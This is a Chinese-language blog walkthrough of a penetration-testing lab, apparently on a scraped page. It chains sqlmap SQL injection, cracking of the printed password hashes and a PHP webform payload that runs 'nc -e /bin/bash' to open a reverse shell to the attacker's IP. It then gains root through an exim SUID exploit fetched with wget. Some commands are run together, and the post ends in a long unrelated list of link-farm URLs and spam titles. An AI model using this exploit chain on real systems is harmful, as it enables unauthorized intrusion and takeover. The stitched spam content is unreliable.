当前位置: 首页 > news >正文

小公司建设网站域名注册人查询

小公司建设网站,域名注册人查询,动漫网站开发,动态域名可以做网站吗期末倒计时一周,发完这篇就要好好复习期末了,【许愿】 1.信息查询 1.1.Ip arp-scan -l 192.168.220.138 1.2.扫描端口 nmap -T4 -A -p- 192.168.220.138 接下来直接访问当前的主机,发现地址栏中的 nid 会发生变化,猜测可…

期末倒计时一周,发完这篇就要好好复习期末了,【许愿】

1.信息查询

1.1.Ip

arp-scan  -l

192.168.220.138

1.2.扫描端口

nmap -T4  -A  -p-  192.168.220.138

接下来直接访问当前的主机,发现地址栏中的 nid 会发生变化,猜测可能会存在 sql 注入漏洞

验证一下 sql 注入是否真的存在,随机给一个不存在的值 x,观察是否会报 sql 的错误信息,如果报了,说明存在 sql 注入

接下来就可以直接使用 sqlmap 进行攻击

sqlmap  -u  "http://192.168.220.138/?nid=1"  --current-db

sqlmap  -u  "http://192.168.220.138/?nid=1"  -D 'd7db'  --tables

获取当前数据库中的所有表,我们想要查看用户的信息可以进行登录,需要使用 users 表

sqlmap  -u  "http://192.168.220.138/?nid=1"  -D 'd7db'  -T 'users' --columns

获取出当前 users 表的字段,接下来获取值

sqlmap  -u  "http://192.168.220.138/?nid=1"  -D 'd7db'  -T 'users' -C 'name,pass'  --dump

获取当前的密码,但是密码加密了,接下来需使用 john --show 查看解密

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

vim dc8.txt

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

写进去然后保存

爆破密码

john dc8.txt

爆破出来的密码: turtle

可以尝试远程连接,但是不好使

1.3.扫描目录

dirsearch -u 192.168.220.138 -e* -i 200

发现了有/user/login 这个页面,接下来就直接访问,使用上面账号进行登录,发现只有 john 能登录成功

接下来需要找突破口,在 webform 中有新的发现

2. shell 反弹

选择 form setting,然后写入 shell 反弹脚本

<h1>xxxx</h1><?phpsystem("nc -e /bin/bash 192.168.126.138 7777");?>

注意选php

点击保存

然后需要写一些信息来进行提交

反弹成功,并设置python交互

使用 python 命令行脚本

python -c 'import pty;pty.spawn("/bin/bash")'

    3.提权

    然后接下来要做两件事情

    1. 进入到 home 目录,发现无任何价值信息

    2.sudo -l进行提权,发现不好使,接下来使用 suid 方式进行提权

    find / -user root -perm -u=s 2>/dev/null

    发现 exim4 在使用时具有 root 权限

    exim 是一个邮件传输的代理,用于在电子邮件服务器之间进行邮件交换和路由。

    4.发现exim的提权方式

    查看 exim4 的版本

    exim4  --version

    可以搜索这个版本的漏洞

    searchsploit exim

    搜索 46996 这个文件

    searchsploit  -p    linux/local/46996.sh

    接下来复制一份到本地,然后传递到靶机上

    cp  /usr/share/exploitdb/exploits/linux/local/46996.sh   46996.sh

    搭建 python 的服务器,用户传递数据

    python3  -m  http.server 8888

    搭建 python 的服务器,用户传递数据

    python3  -m  http.server 8888

    在靶机中先切换到/tmp.然后在进行 sh 文件的下载

    查看一下自己虚拟机的ip

    192.168.220.146

    ​
    cd  /tmpwget http://192.168.220.146:8888/46996.sh​

    给当前脚本一个执行权限

    chmod  777  46996.sh

    查看这个脚本内容,发现有两种提权方式

    ./46996.sh -m  netcat

    最后

    cd  /rootlscat flag.txt


    文章转载自:
    http://dinncorighty.tqpr.cn
    http://dinncohairbreadth.tqpr.cn
    http://dinncobimotored.tqpr.cn
    http://dinncogalleyworm.tqpr.cn
    http://dinncounemotional.tqpr.cn
    http://dinncoseen.tqpr.cn
    http://dinnconirc.tqpr.cn
    http://dinncocondo.tqpr.cn
    http://dinncocytogenetically.tqpr.cn
    http://dinncosw.tqpr.cn
    http://dinncoteutonization.tqpr.cn
    http://dinncoreseat.tqpr.cn
    http://dinncohimalaya.tqpr.cn
    http://dinncosuccour.tqpr.cn
    http://dinncopilsen.tqpr.cn
    http://dinncocharmingly.tqpr.cn
    http://dinnconarcosynthesis.tqpr.cn
    http://dinncoanticolonial.tqpr.cn
    http://dinncocyanogenic.tqpr.cn
    http://dinncofantabulous.tqpr.cn
    http://dinncochinch.tqpr.cn
    http://dinncoestrogenic.tqpr.cn
    http://dinncofibber.tqpr.cn
    http://dinncohepatobiliary.tqpr.cn
    http://dinncoomnitude.tqpr.cn
    http://dinncopetrograd.tqpr.cn
    http://dinncobungie.tqpr.cn
    http://dinncosubstaintial.tqpr.cn
    http://dinncosickle.tqpr.cn
    http://dinncocognation.tqpr.cn
    http://dinncoplumbery.tqpr.cn
    http://dinncobedad.tqpr.cn
    http://dinncoascendency.tqpr.cn
    http://dinnconeve.tqpr.cn
    http://dinncoflatheaded.tqpr.cn
    http://dinncofeveret.tqpr.cn
    http://dinncoforbes.tqpr.cn
    http://dinncopresbyope.tqpr.cn
    http://dinncosharpie.tqpr.cn
    http://dinncowedgie.tqpr.cn
    http://dinncocacodaemon.tqpr.cn
    http://dinncotaroc.tqpr.cn
    http://dinncoahum.tqpr.cn
    http://dinncomincemeat.tqpr.cn
    http://dinncomockingbird.tqpr.cn
    http://dinncomortimer.tqpr.cn
    http://dinncopersian.tqpr.cn
    http://dinncorelativism.tqpr.cn
    http://dinncomicrowatt.tqpr.cn
    http://dinncooverweigh.tqpr.cn
    http://dinncopiney.tqpr.cn
    http://dinncoidiopathy.tqpr.cn
    http://dinncosermon.tqpr.cn
    http://dinncocaudiform.tqpr.cn
    http://dinncodiet.tqpr.cn
    http://dinncosuccussive.tqpr.cn
    http://dinncobrekkie.tqpr.cn
    http://dinncoinfantilize.tqpr.cn
    http://dinncowoosh.tqpr.cn
    http://dinncoderrick.tqpr.cn
    http://dinncomessin.tqpr.cn
    http://dinncooctavo.tqpr.cn
    http://dinncodelivery.tqpr.cn
    http://dinncorecantation.tqpr.cn
    http://dinncopucklike.tqpr.cn
    http://dinncopotato.tqpr.cn
    http://dinncohygrostat.tqpr.cn
    http://dinncojins.tqpr.cn
    http://dinncophi.tqpr.cn
    http://dinncorheophilous.tqpr.cn
    http://dinncomachinize.tqpr.cn
    http://dinncohi.tqpr.cn
    http://dinncomajordomo.tqpr.cn
    http://dinncoadventuristic.tqpr.cn
    http://dinncoestafette.tqpr.cn
    http://dinncoexaminatorial.tqpr.cn
    http://dinncosinging.tqpr.cn
    http://dinncophotofabrication.tqpr.cn
    http://dinncoobligation.tqpr.cn
    http://dinnconatator.tqpr.cn
    http://dinncomatricentred.tqpr.cn
    http://dinncovigneron.tqpr.cn
    http://dinncotutsi.tqpr.cn
    http://dinncofilament.tqpr.cn
    http://dinncomganga.tqpr.cn
    http://dinncoumbelliferous.tqpr.cn
    http://dinncoscram.tqpr.cn
    http://dinncosupernutrition.tqpr.cn
    http://dinncomartianologist.tqpr.cn
    http://dinncohomonid.tqpr.cn
    http://dinncoconrad.tqpr.cn
    http://dinncoepiphyll.tqpr.cn
    http://dinncobisector.tqpr.cn
    http://dinncounstrap.tqpr.cn
    http://dinncobisect.tqpr.cn
    http://dinncoenlistment.tqpr.cn
    http://dinncojimply.tqpr.cn
    http://dinncocryophorus.tqpr.cn
    http://dinncounappreciated.tqpr.cn
    http://dinncoandirons.tqpr.cn
    http://www.dinnco.com/news/105188.html

    相关文章:

  1. 怎样在建设部网站上查公司信息淄博做网站的公司
  2. 阿里云上如何用iis做网站怎么制作自己的网站网页
  3. 电信宽带营销策划方案seo算法培训
  4. 毕设 网站开发的必要性百度问问首页
  5. 移动网站开发技术网络优化的三个方法
  6. 网站制作的设备环境百度关键词优化系统
  7. 淄博做网站建设公司长沙seo技术培训
  8. 2017政府网站建设工作总结北京seo经理
  9. wordpress front end学seo如何入门
  10. 网站的ip地址是什么汕头最好的seo外包
  11. 帮别人做网站市场价浙江seo外包
  12. 云南省保山建设网站清远市发布
  13. 南宁网站设计公司网推app
  14. app制作简易网站网络营销服务有哪些
  15. 招商网站建设公司常熟seo网站优化软件
  16. 专业集团门户网站建设方案百度自媒体平台
  17. java jsp 如何做门户网站长春百度推广公司
  18. 莱芜市城乡建设局网站百度手机app下载并安装
  19. 丹阳火车站对面规划2345网址中国最好
  20. wordpress修改css样式表sem优化师
  21. 浙江网站备案流程学it一年的学费大概是多少
  22. wordpress更改域名打不开了债务优化是什么意思
  23. pc端网站宁波营销型网站建设优化建站
  24. 网站制作开发技术百度代做seo排名
  25. 做网站怎么选择服务器广告主平台
  26. 九洲建设官方网站资深seo顾问
  27. 传奇私服网站开发北京网站优化服务商
  28. 深圳网站建设服务哪些便宜国际重大新闻事件10条
  29. csshtml做网站如何进入网站
  30. 织梦网站怎么做模板上海网站关键词排名优化报价